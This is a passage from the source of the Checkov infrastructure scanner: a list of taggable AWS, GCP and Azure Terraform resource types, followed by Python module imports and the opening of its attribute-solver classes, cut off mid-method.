"aws_ssoadmin_trusted_token_issuer", "aws_synthetics_group", "aws_transfer_agreement", "aws_transfer_certificate", "aws_transfer_connector", "aws_transfer_profile", "aws_verifiedaccess_endpoint", "aws_verifiedaccess_group", "aws_verifiedaccess_instance", "aws_verifiedaccess_trust_provider", "aws_vpc_ipam_resource_discovery", "aws_vpc_ipam_resource_discovery_association", "aws_vpc_security_group_egress_rule", "aws_vpc_security_group_ingress_rule", "aws_vpclattice_access_log_subscription", "aws_vpclattice_listener", "aws_vpclattice_listener_rule", "aws_vpclattice_service", "aws_vpclattice_service_network", "aws_vpclattice_service_network_service_association", "aws_vpclattice_service_network_vpc_association", "aws_vpclattice_target_group", "aws_workspaces_connection_alias", "aws_bedrockagent_agent", "aws_api_gateway_domain_name_access_association", "aws_appfabric_app_authorization", "aws_appfabric_app_bundle", "aws_appfabric_ingestion", "aws_appfabric_ingestion_destination", "aws_appintegrations_data_integration", "aws_backup_logically_air_gapped_vault", "aws_backup_restore_testing_plan", "aws_bcmdataexports_export", "aws_bedrock_custom_model", "aws_bedrock_guardrail", "aws_bedrock_inference_profile", "aws_bedrock_provisioned_model_throughput", "aws_bedrockagent_agent_alias", "aws_bedrockagent_knowledge_base", "aws_chatbot_slack_channel_configuration", "aws_chatbot_teams_channel_configuration", "aws_cleanrooms_membership", "aws_cloudfront_vpc_origin", "aws_cloudwatch_log_anomaly_detector", "aws_cloudwatch_log_delivery", "aws_cloudwatch_log_delivery_destination", "aws_cloudwatch_log_delivery_source", "aws_codebuild_fleet", "aws_codeconnections_connection", "aws_codeconnections_host", "aws_controltower_landing_zone", "aws_datazone_domain", "aws_drs_replication_configuration_template", "aws_ec2_capacity_block_reservation", "aws_elasticache_reserved_cache_node", "aws_fms_resource_set", "aws_globalaccelerator_cross_account_attachment", "aws_guardduty_malware_protection_plan", "aws_imagebuilder_lifecycle_policy", "aws_m2_application", "aws_m2_environment", "aws_media_packagev2_channel_group", "aws_memorydb_multi_region_cluster", "aws_networkfirewall_tls_inspection_configuration", "aws_networkmanager_dx_gateway_attachment", "aws_networkmonitor_monitor", "aws_networkmonitor_probe", "aws_osis_pipeline", "aws_paymentcryptography_key", "aws_pinpoint_email_template", "aws_pinpointsmsvoicev2_configuration_set", "aws_pinpointsmsvoicev2_opt_out_list", "aws_pinpointsmsvoicev2_phone_number", "aws_quicksight_analysis", "aws_quicksight_dashboard", "aws_quicksight_data_set", "aws_quicksight_namespace", "aws_quicksight_template", "aws_quicksight_theme", "aws_rds_cluster_snapshot_copy", "aws_rds_integration", "aws_rekognition_collection", "aws_rekognition_project", "aws_rekognition_stream_processor", "aws_resiliencehub_resiliency_policy", "aws_route53domains_domain", "aws_route53profiles_association", "aws_route53profiles_profile", "aws_sagemaker_hub", "aws_sagemaker_mlflow_tracking_server", "aws_securityhub_automation_rule", "aws_securitylake_subscriber", "aws_servicecatalogappregistry_application", "aws_servicecatalogappregistry_attribute_group", "aws_ssmcontacts_rotation", "aws_ssmquicksetup_configuration_manager", "aws_timestreaminfluxdb_db_instance", "aws_timestreamquery_scheduled_query", "aws_vpc_block_public_access_exclusion", "aws_vpclattice_resource_configuration", "aws_vpclattice_resource_gateway", "aws_vpclattice_service_network_resource_association" ], "gcp_taggable": [ "google_bigquery_dataset", "google_bigquery_job", "google_bigquery_table", "google_monitoring_notification_channel", "google_bigtable_instance", "google_composer_environment", "google_dns_managed_zone", "google_cloudfunctions_function", "google_healthcare_dicom_store", "google_healthcare_fhir_store", "google_healthcare_hl7_v2_store", "google_kms_crypto_key", "google_project", "google_pubsub_subscription", "google_pubsub_topic", "google_spanner_instance", "google_storage_bucket", "google_tpu_node", "google_compute_address", "google_compute_disk", "google_compute_forwarding_rule", "google_compute_global_address", "google_compute_global_forwarding_rule", "google_compute_image", "google_compute_instance", "google_compute_instance_from_template", "google_compute_instance_template", "google_compute_interconnect_attachment", "google_compute_region_disk", "google_compute_snapshot", "google_compute_vpn_tunnel", "google_dataflow_job", "google_dataproc_cluster", "google_dataproc_job", "google_filestore_instance", "google_ml_engine_model", "google_redis_instance", "google_secret_manager_secret", "google_dataflow_flex_template_job", "google_active_directory_domain", "google_cloud_identity_group", "google_compute_external_vpn_gateway", "google_game_services_game_server_cluster", "google_game_services_game_server_config", "google_game_services_game_server_deployment", "google_game_services_realm", "google_network_management_connectivity_test", "google_notebooks_instance", "google_eventarc_trigger", "google_healthcare_consent_store", "google_workflows_workflow", "google_assured_workloads_workload", "google_dataproc_workflow_template", "google_dialogflow_cx_intent", "google_gke_hub_membership", "google_memcache_instance", "google_network_services_edge_cache_keyset", "google_network_services_edge_cache_origin", "google_network_services_edge_cache_service", "google_notebooks_runtime", "google_privateca_ca_pool", "google_privateca_certificate", "google_privateca_certificate_authority", "google_privateca_certificate_template", "google_recaptcha_enterprise_key", "google_vertex_ai_dataset", "google_artifact_registry_repository", "google_certificate_manager_certificate", "google_certificate_manager_certificate_map", "google_certificate_manager_certificate_map_entry", "google_certificate_manager_dns_authorization", "google_clouddeploy_delivery_pipeline", "google_clouddeploy_target", "google_data_fusion_instance", "google_dataplex_lake", "google_dataproc_metastore_service", "google_network_connectivity_hub", "google_network_connectivity_spoke", "google_beyondcorp_app_connector", "google_beyondcorp_app_gateway", "google_cloud_run_v2_job", "google_cloud_run_v2_service", "google_cloudfunctions2_function", "google_dataplex_asset", "google_dataplex_zone", "google_datastream_connection_profile", "google_datastream_private_connection", "google_filestore_backup", "google_filestore_snapshot", "google_vertex_ai_endpoint", "google_vertex_ai_featurestore", "google_vertex_ai_featurestore_entitytype", "google_vertex_ai_featurestore_entitytype_feature", "google_vertex_ai_index", "google_vertex_ai_tensorboard", "google_alloydb_backup", "google_alloydb_cluster", "google_alloydb_instance", "google_beyondcorp_app_connection", "google_certificate_manager_certificate_issuance_config", "google_certificate_manager_trust_config", "google_clouddomains_registration", "google_compute_region_instance_template", "google_database_migration_service_connection_profile", "google_database_migration_service_private_connection", "google_dataplex_datascan", "google_dataplex_task", "google_datastream_stream", "google_edgecontainer_cluster", "google_edgecontainer_node_pool", "google_edgecontainer_vpn_connection", "google_edgenetwork_network", "google_edgenetwork_subnet", "google_gke_backup_backup_plan", "google_gke_backup_restore_plan", "google_gke_hub_feature", "google_gke_hub_membership_binding", "google_gke_hub_namespace", "google_gke_hub_scope", "google_gke_hub_scope_rbac_role_binding", "google_integration_connectors_connection", "google_integration_connectors_endpoint_attachment", "google_migration_center_group", "google_netapp_active_directory", "google_netapp_backup_policy", "google_netapp_backup_vault", "google_netapp_kmsconfig", "google_netapp_storage_pool", "google_netapp_volume", "google_network_connectivity_policy_based_route", "google_network_connectivity_service_connection_policy", "google_network_security_address_group", "google_network_services_gateway", "google_secure_source_manager_instance", "google_vertex_ai_feature_group", "google_vertex_ai_feature_group_feature", "google_vertex_ai_feature_online_store", "google_vertex_ai_feature_online_store_featureview", "google_vertex_ai_index_endpoint", "google_workbench_instance", "google_tpu_v2_vm", "google_apihub_api_hub_instance", "google_backup_dr_backup_vault", "google_blockchain_node_engine_blockchain_nodes", "google_clouddeploy_automation", "google_clouddeploy_custom_target_type", "google_colab_runtime_template", "google_compute_interconnect", "google_database_migration_service_migration_job", "google_dataplex_aspect_type", "google_dataplex_entry_group", "google_dataplex_entry_type", "google_dataproc_batch", "google_dataproc_gdc_application_environment", "google_dataproc_gdc_service_instance", "google_dataproc_gdc_spark_application", "google_dataproc_metastore_federation", "google_developer_connect_connection", "google_developer_connect_git_repository_link", "google_edgenetwork_interconnect_attachment", "google_gemini_code_repository_index", "google_gemini_repository_group", "google_healthcare_pipeline_job", "google_healthcare_workspace", "google_integration_connectors_managed_zone", "google_managed_kafka_cluster", "google_memorystore_instance", "google_netapp_backup", "google_netapp_volume_replication", "google_netapp_volume_snapshot", "google_network_connectivity_group", "google_network_connectivity_internal_range", "google_network_connectivity_regional_endpoint", "google_network_management_vpc_flow_logs_config", "google_network_security_authz_policy", "google_network_security_client_tls_policy", "google_network_security_firewall_endpoint", "google_network_security_firewall_endpoint_association", "google_network_security_security_profile", "google_network_security_security_profile_group", "google_network_security_server_tls_policy", "google_network_services_authz_extension", "google_network_services_lb_route_extension", "google_network_services_lb_traffic_extension", "google_oracle_database_autonomous_database", "google_oracle_database_cloud_exadata_infrastructure", "google_oracle_database_cloud_vm_cluster", "google_parallelstore_instance", "google_secret_manager_regional_secret", "google_spanner_instance_config", "google_transcoder_job", "google_transcoder_job_template" ], "azure_taggable": [ "azurerm_api_management", "azurerm_api_management_named_value", "azurerm_api_management_property", "azurerm_analysis_services_server", "azurerm_app_configuration", "azurerm_app_service", "azurerm_app_service_certificate", "azurerm_app_service_certificate_order", "azurerm_app_service_environment", "azurerm_app_service_plan", "azurerm_app_service_slot", "azurerm_function_app", "azurerm_function_app_slot", "azurerm_application_insights", "azurerm_application_insights_web_test", "azurerm_user_assigned_identity", "azurerm_automation_account", "azurerm_automation_dsc_configuration", "azurerm_automation_runbook", "azurerm_resource_group", "azurerm_batch_account", "azurerm_bot_channels_registration", "azurerm_bot_web_app", "azurerm_cdn_endpoint", "azurerm_cdn_profile", "azurerm_cognitive_account", "azurerm_availability_set", "azurerm_dedicated_host", "azurerm_dedicated_host_group", "azurerm_disk_encryption_set", "azurerm_image", "azurerm_linux_virtual_machine", "azurerm_linux_virtual_machine_scale_set", "azurerm_managed_disk", "azurerm_orchestrated_virtual_machine_scale_set", "azurerm_proximity_placement_group", "azurerm_shared_image", "azurerm_shared_image_gallery", "azurerm_shared_image_version", "azurerm_snapshot", "azurerm_virtual_machine", "azurerm_virtual_machine_extension", "azurerm_virtual_machine_scale_set", "azurerm_windows_virtual_machine", "azurerm_windows_virtual_machine_scale_set", "azurerm_container_group", "azurerm_container_registry", "azurerm_container_registry_webhook", "azurerm_kubernetes_cluster", "azurerm_kubernetes_cluster_node_pool", "azurerm_cosmosdb_account", "azurerm_custom_provider", "azurerm_dns_a_record", "azurerm_dns_aaaa_record", "azurerm_dns_caa_record", "azurerm_dns_cname_record", "azurerm_dns_mx_record", "azurerm_dns_ns_record", "azurerm_dns_ptr_record", "azurerm_dns_srv_record", "azurerm_dns_txt_record", "azurerm_dns_zone", "azurerm_kusto_cluster", "azurerm_data_factory", "azurerm_data_lake_analytics_account", "azurerm_data_lake_store", "azurerm_data_share_account", "azurerm_mariadb_server", "azurerm_mssql_database", "azurerm_mssql_elasticpool", "azurerm_mssql_server", "azurerm_mssql_virtual_machine", "azurerm_mysql_server", "azurerm_postgresql_server", "azurerm_sql_database", "azurerm_sql_elasticpool", "azurerm_sql_failover_group", "azurerm_sql_server", "azurerm_database_migration_project", "azurerm_database_migration_service", "azurerm_databricks_workspace", "azurerm_dev_test_global_vm_shutdown_schedule", "azurerm_dev_test_lab", "azurerm_dev_test_linux_virtual_machine", "azurerm_dev_test_policy", "azurerm_dev_test_schedule", "azurerm_dev_test_virtual_network", "azurerm_dev_test_windows_virtual_machine", "azurerm_devspace_controller", "azurerm_hdinsight_hadoop_cluster", "azurerm_hdinsight_hbase_cluster", "azurerm_hdinsight_interactive_query_cluster", "azurerm_hdinsight_kafka_cluster", "azurerm_hdinsight_ml_services_cluster", "azurerm_hdinsight_rserver_cluster", "azurerm_hdinsight_spark_cluster", "azurerm_hdinsight_storm_cluster", "azurerm_dedicated_hardware_security_module", "azurerm_healthcare_service", "azurerm_iotcentral_application", "azurerm_iothub", "azurerm_iothub_dps", "azurerm_key_vault", "azurerm_key_vault_certificate", "azurerm_key_vault_key", "azurerm_key_vault_secret", "azurerm_lb", "azurerm_log_analytics_solution", "azurerm_log_analytics_workspace", "azurerm_logic_app_integration_account", "azurerm_logic_app_workflow", "azurerm_machine_learning_workspace", "azurerm_maintenance_configuration", "azurerm_managed_application", "azurerm_managed_application_definition", "azurerm_maps_account", "azurerm_media_services_account", "azurerm_eventgrid_domain", "azurerm_eventgrid_topic", "azurerm_eventhub_cluster", "azurerm_eventhub_namespace", "azurerm_notification_hub", "azurerm_notification_hub_namespace", "azurerm_relay_namespace", "azurerm_servicebus_namespace", "azurerm_signalr_service", "azurerm_spatial_anchors_account", "azurerm_monitor_action_group", "azurerm_monitor_action_rule_action_group", "azurerm_monitor_action_rule_suppression", "azurerm_monitor_activity_log_alert", "azurerm_monitor_autoscale_setting", "azurerm_monitor_metric_alert", "azurerm_monitor_scheduled_query_rules_alert", "azurerm_monitor_scheduled_query_rules_log", "azurerm_netapp_account", "azurerm_netapp_pool", "azurerm_netapp_volume", "azurerm_application_gateway", "azurerm_application_security_group", "azurerm_bastion_host", "azurerm_express_route_circuit", "azurerm_express_route_gateway", "azurerm_firewall", "azurerm_frontdoor", "azurerm_frontdoor_firewall_policy", "azurerm_local_network_gateway", "azurerm_nat_gateway", "azurerm_network_ddos_protection_plan", "azurerm_network_interface", "azurerm_network_profile", "azurerm_network_security_group", "azurerm_network_watcher", "azurerm_network_watcher_flow_log", "azurerm_point_to_site_vpn_gateway", "azurerm_private_endpoint", "azurerm_private_link_service", "azurerm_public_ip", "azurerm_public_ip_prefix", "azurerm_route_filter", "azurerm_route_table", "azurerm_traffic_manager_profile", "azurerm_virtual_hub", "azurerm_virtual_network", "azurerm_virtual_network_gateway", "azurerm_virtual_network_gateway_connection", "azurerm_virtual_wan", "azurerm_vpn_gateway", "azurerm_vpn_server_configuration", "azurerm_web_application_firewall_policy", "azurerm_dashboard", "azurerm_powerbi_embedded", "azurerm_private_dns_a_record", "azurerm_private_dns_aaaa_record", "azurerm_private_dns_cname_record", "azurerm_private_dns_mx_record", "azurerm_private_dns_ptr_record", "azurerm_private_dns_srv_record", "azurerm_private_dns_txt_record", "azurerm_private_dns_zone", "azurerm_private_dns_zone_virtual_network_link", "azurerm_recovery_services_vault", "azurerm_redis_cache", "azurerm_search_service", "azurerm_service_fabric_cluster", "azurerm_spring_cloud_service", "azurerm_hpc_cache", "azurerm_storage_account", "azurerm_stream_analytics_job", "azurerm_synapse_workspace", "azurerm_iot_time_series_insights_reference_data_set", "azurerm_iot_time_series_insights_standard_environment", "azurerm_app_service_managed_certificate", "azurerm_attestation_provider", "azurerm_digital_twins_instance", "azurerm_disk_access", "azurerm_eventgrid_system_topic", "azurerm_firewall_policy", "azurerm_integration_service_environment", "azurerm_iot_security_solution", "azurerm_iot_time_series_insights_gen2_environment", "azurerm_ip_group", "azurerm_log_analytics_cluster", "azurerm_log_analytics_saved_search", "azurerm_media_streaming_endpoint", "azurerm_monitor_smart_detector_alert_rule", "azurerm_network_connection_monitor", "azurerm_resource_group_template_deployment", "azurerm_security_center_automation", "azurerm_service_fabric_mesh_application", "azurerm_service_fabric_mesh_local_network", "azurerm_service_fabric_mesh_secret", "azurerm_service_fabric_mesh_secret_value", "azurerm_ssh_public_key", "azurerm_stack_hci_cluster", "azurerm_storage_sync", "azurerm_subnet_service_endpoint_storage_policy", "azurerm_subscription_template_deployment", "azurerm_synapse_spark_pool", "azurerm_synapse_sql_pool", "azurerm_virtual_desktop_application_group", "azurerm_virtual_desktop_host_pool", "azurerm_virtual_desktop_workspace", "azurerm_virtual_hub_security_partner_provider", "azurerm_vpn_site", "azurerm_communication_service", "azurerm_databox_edge_device", "azurerm_express_route_port", "azurerm_management_group_template_deployment", "azurerm_media_live_event", "azurerm_purview_account", "azurerm_redis_enterprise_cluster", "azurerm_subscription", "azurerm_tenant_template_deployment", "azurerm_vmware_private_cloud", "azurerm_aadb2c_directory", "azurerm_active_directory_domain_service", "azurerm_app_configuration_feature", "azurerm_app_configuration_key", "azurerm_app_service_environment_v3", "azurerm_bot_service_azure_bot", "azurerm_container_registry_task", "azurerm_cosmosdb_cassandra_cluster", "azurerm_data_protection_backup_vault", "azurerm_disk_pool", "azurerm_healthbot", "azurerm_iot_time_series_insights_event_source_eventhub", "azurerm_iot_time_series_insights_event_source_iothub", "azurerm_key_vault_managed_hardware_security_module", "azurerm_key_vault_managed_storage_account", "azurerm_key_vault_managed_storage_account_sas_token_definition", "azurerm_load_test", "azurerm_logic_app_standard", "azurerm_logz_monitor", "azurerm_machine_learning_compute_cluster", "azurerm_machine_learning_compute_instance", "azurerm_machine_learning_inference_cluster", "azurerm_machine_learning_synapse_spark", "azurerm_maps_creator", "azurerm_monitor_private_link_scope", "azurerm_mssql_failover_group", "azurerm_mssql_job_agent", "azurerm_mysql_flexible_server", "azurerm_netapp_snapshot_policy", "azurerm_postgresql_flexible_server", "azurerm_service_fabric_managed_cluster", "azurerm_sql_managed_instance", "azurerm_static_site", "azurerm_storage_disks_pool", "azurerm_stream_analytics_cluster", "azurerm_synapse_private_link_hub", "azurerm_video_analyzer", "azurerm_virtual_desktop_scaling_plan", "azurerm_api_connection", "azurerm_application_insights_workbook", "azurerm_application_insights_workbook_template", "azurerm_capacity_reservation", "azurerm_capacity_reservation_group", "azurerm_cdn_frontdoor_endpoint", "azurerm_cdn_frontdoor_profile", "azurerm_confidential_ledger", "azurerm_container_registry_agent_pool", "azurerm_data_protection_resource_guard", "azurerm_elastic_cloud_elasticsearch", "azurerm_fluid_relay_server", "azurerm_gallery_application", "azurerm_gallery_application_version", "azurerm_healthcare_dicom_service", "azurerm_healthcare_fhir_service", "azurerm_healthcare_workspace", "azurerm_linux_function_app", "azurerm_linux_function_app_slot", "azurerm_linux_web_app", "azurerm_linux_web_app_slot", "azurerm_logz_sub_account", "azurerm_monitor_data_collection_rule", "azurerm_mssql_managed_database", "azurerm_mssql_managed_instance", "azurerm_portal_dashboard", "azurerm_route_server", "azurerm_service_plan", "azurerm_web_pubsub", "azurerm_windows_function_app", "azurerm_windows_function_app_slot", "azurerm_windows_web_app", "azurerm_windows_web_app_slot", "azurerm_automation_watcher", "azurerm_cdn_frontdoor_firewall_policy", "azurerm_dashboard_grafana", "azurerm_databricks_access_connector", "azurerm_datadog_monitor", "azurerm_healthcare_medtech_service", "azurerm_iothub_device_update_account", "azurerm_iothub_device_update_instance", "azurerm_kubernetes_fleet_manager", "azurerm_lab_service_plan", "azurerm_log_analytics_query_pack", "azurerm_log_analytics_query_pack_query", "azurerm_monitor_alert_processing_rule_action_group", "azurerm_monitor_alert_processing_rule_suppression", "azurerm_monitor_data_collection_endpoint", "azurerm_monitor_scheduled_query_rules_alert_v2", "azurerm_network_manager", "azurerm_nginx_deployment", "azurerm_orbital_contact_profile", "azurerm_orbital_spacecraft", "azurerm_private_dns_resolver", "azurerm_private_dns_resolver_dns_forwarding_ruleset", "azurerm_private_dns_resolver_inbound_endpoint", "azurerm_private_dns_resolver_outbound_endpoint", "azurerm_resource_deployment_script_azure_cli", "azurerm_resource_deployment_script_azure_power_shell", "azurerm_application_insights_standard_web_test", "azurerm_application_load_balancer", "azurerm_application_load_balancer_frontend", "azurerm_application_load_balancer_subnet_association", "azurerm_arc_kubernetes_cluster", "azurerm_arc_machine_extension", "azurerm_arc_private_link_scope", "azurerm_arc_resource_bridge_appliance", "azurerm_automanage_configuration", "azurerm_automation_powershell72_module", "azurerm_automation_python3_package", "azurerm_container_app", "azurerm_container_app_environment", "azurerm_container_app_environment_certificate", "azurerm_cosmosdb_postgresql_cluster", "azurerm_custom_ip_prefix", "azurerm_dev_center", "azurerm_dev_center_project", "azurerm_elastic_san", "azurerm_email_communication_service", "azurerm_graph_account", "azurerm_graph_services_account", "azurerm_lab_service_lab", "azurerm_machine_learning_datastore_blobstorage", "azurerm_machine_learning_datastore_datalake_gen2", "azurerm_machine_learning_datastore_fileshare", "azurerm_managed_lustre_file_system", "azurerm_mobile_network", "azurerm_mobile_network_attached_data_network", "azurerm_mobile_network_data_network", "azurerm_mobile_network_packet_core_control_plane", "azurerm_mobile_network_packet_core_data_plane", "azurerm_mobile_network_service", "azurerm_mobile_network_sim_group", "azurerm_mobile_network_sim_policy", "azurerm_mobile_network_site", "azurerm_mobile_network_slice", "azurerm_monitor_alert_prometheus_rule_group", "azurerm_monitor_workspace", "azurerm_mssql_virtual_machine_group", "azurerm_network_function_azure_traffic_collector", "azurerm_network_function_collector_policy", "azurerm_palo_alto_local_rulestack_rule", "azurerm_palo_alto_next_generation_firewall_virtual_hub_local_rulestack", "azurerm_palo_alto_next_generation_firewall_virtual_hub_panorama", "azurerm_palo_alto_next_generation_firewall_virtual_network_local_rulestack", "azurerm_palo_alto_next_generation_firewall_virtual_network_panorama", "azurerm_sentinel_threat_intelligence_indicator", "azurerm_storage_mover", "azurerm_virtual_machine_run_command", "azurerm_voice_services_communications_gateway", "azurerm_voice_services_communications_gateway_test_line", "azurerm_ai_services", "azurerm_arc_kubernetes_provisioned_cluster", "azurerm_arc_machine", "azurerm_cognitive_account_rai_policy", "azurerm_container_app_job", "azurerm_dashboard_grafana_managed_private_endpoint", "azurerm_dev_center_dev_box_definition", "azurerm_dev_center_environment_type", "azurerm_dev_center_network_connection", "azurerm_dev_center_project_environment_type", "azurerm_dev_center_project_pool", "azurerm_dynatrace_monitor", "azurerm_email_communication_service_domain", "azurerm_eventgrid_namespace", "azurerm_fabric_capacity", "azurerm_key_vault_managed_hardware_security_module_key", "azurerm_mongo_cluster", "azurerm_netapp_backup_policy", "azurerm_netapp_backup_vault", "azurerm_oracle_autonomous_database", "azurerm_oracle_cloud_vm_cluster", "azurerm_oracle_exadata_infrastructure", "azurerm_redhat_openshift_cluster", "azurerm_restore_point_collection", "azurerm_stack_hci_logical_network", "azurerm_stack_hci_marketplace_gallery_image", "azurerm_stack_hci_network_interface", "azurerm_stack_hci_storage_path", "azurerm_stack_hci_virtual_hard_disk", "azurerm_static_web_app", "azurerm_system_center_virtual_machine_manager_availability_set", "azurerm_system_center_virtual_machine_manager_cloud", "azurerm_system_center_virtual_machine_manager_server", "azurerm_system_center_virtual_machine_manager_virtual_machine_template", "azurerm_system_center_virtual_machine_manager_virtual_network", "azurerm_trusted_signing_account", "azurerm_video_indexer_account", "azurerm_virtual_machine_restore_point_collection", "azurerm_workloads_sap_discovery_virtual_instance", "azurerm_workloads_sap_single_node_virtual_instance", "azurerm_workloads_sap_three_tier_virtual_instance" ] } ================================================ FILE: checkov/common/checks_infra/solvers/__init__.py ================================================ from checkov.common.checks_infra.solvers.attribute_solvers import * # noqa from checkov.common.checks_infra.solvers.complex_solvers import * # noqa from checkov.common.checks_infra.solvers.connections_solvers import * # noqa from checkov.common.checks_infra.solvers.filter_solvers import * # noqa ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/__init__.py ================================================ from checkov.common.checks_infra.solvers.attribute_solvers.any_attribute_solver import AnyResourceSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.contains_attribute_solver import ContainsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_contains_attribute_solver import NotContainsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.ending_with_attribute_solver import EndingWithAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.equals_attribute_solver import EqualsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.regex_match_attribute_solver import RegexMatchAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.exists_attribute_solver import ExistsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_ending_with_attribute_solver import NotEndingWithAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_equals_attribute_solver import NotEqualsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_regex_match_attribute_solver import NotRegexMatchAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_exists_attribute_solver import NotExistsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_starting_with_attribute_solver import NotStartingWithAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.starting_with_attribute_solver import StartingWithAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.within_attribute_solver import WithinAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_within_attribute_solver import NotWithinAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.greater_than_attribute_solver import GreaterThanAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.greater_than_or_equal_attribute_solver import GreaterThanOrEqualAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.less_than_attribute_solver import LessThanAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.less_than_or_equal_attribute_solver import LessThanOrEqualAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.subset_attribute_solver import SubsetAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_subset_attribute_solver import NotSubsetAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.is_empty_attribute_solver import IsEmptyAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.is_not_empty_attribute_solver import IsNotEmptyAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.length_equals_attribute_solver import LengthEqualsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.length_not_equals_attribute_solver import LengthNotEqualsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.length_greater_than_attribute_solver import LengthGreaterThanAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.length_greater_than_or_equal_attribute_solver import LengthGreaterThanOrEqualAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.length_less_than_attribute_solver import LengthLessThanAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.length_less_than_or_equal_attribute_solver import LengthLessThanOrEqualAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.is_true_attribute_solver import IsTrueAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.is_false_attribute_solver import IsFalseAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.intersects_attribute_solver import IntersectsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_intersects_attribute_solver import NotIntersectsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.equals_ignore_case_attribute_solver import EqualsIgnoreCaseAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.not_equals_ignore_case_attribute_solver import NotEqualsIgnoreCaseAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.range_includes_attribute_solver import RangeIncludesAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.range_not_includes_attribute_solver import RangeNotIncludesAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_equals_attribute_solver import NumberOfWordsEqualsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_not_equals_attribute_solver import NumberOfWordsNotEqualsAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_greater_than_attribute_solver import NumberOfWordsGreaterThanAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_greater_than_or_equal_attribute_solver import NumberOfWordsGreaterThanOrEqualAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_less_than_or_equal_attribute_solver import NumberOfWordsLessThanOrEqualAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_less_than_attribute_solver import NumberOfWordsLessThanAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.cidr_range_subset_attribute_solver import CIDRRangeSubsetAttributeSolver # noqa from checkov.common.checks_infra.solvers.attribute_solvers.cidr_range_not_subset_attribute_solver import CIDRRangeNotSubsetAttributeSolver # noqa ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/any_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class AnyResourceSolver(BaseAttributeSolver): operator = Operators.ANY # noqa: CCE003 # a static attribute is_value_attribute_check = False # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return vertex is not None ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/base_attribute_solver.py ================================================ from __future__ import annotations import concurrent.futures import logging import re import json from typing import List, Tuple, Dict, Any, Optional, Pattern, TYPE_CHECKING from bc_jsonpath_ng.ext import parse from networkx import DiGraph from checkov.common.graph.checks_infra import debug from checkov.common.graph.checks_infra.enums import SolverType from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from concurrent.futures import ThreadPoolExecutor from checkov.common.graph.graph_builder import CustomAttributes, reserved_attributes_to_scan, wrap_reserved_attributes from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.common.util.var_utils import is_terraform_variable_dependent from checkov.terraform.graph_builder.graph_components.block_types import BlockType as TerraformBlockType if TYPE_CHECKING: from bc_jsonpath_ng import JSONPath from checkov.common.typing import LibraryGraph SUPPORTED_BLOCK_TYPES = {BlockType.RESOURCE, TerraformBlockType.DATA, TerraformBlockType.MODULE, TerraformBlockType.PROVIDER} WILDCARD_PATTERN = re.compile(r"(\S+[.][*][.]*)+") class BaseAttributeSolver(BaseSolver): operator = "" # noqa: CCE003 # a static attribute is_value_attribute_check = True # noqa: CCE003 # a static attribute jsonpath_parsed_statement_cache: "dict[str, JSONPath]" = {} # noqa: CCE003 # global cache def __init__( self, resource_types: List[str], attribute: Optional[str], value: Any, is_jsonpath_check: bool = False ) -> None: super().__init__(SolverType.ATTRIBUTE) self.resource_types = resource_types self.attribute = attribute if attribute not in reserved_attributes_to_scan else wrap_reserved_attributes(attribute) self.value = value self.is_jsonpath_check = is_jsonpath_check def run(self, graph_connector: LibraryGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]: executer = ThreadPoolExecutor() jobs = [] 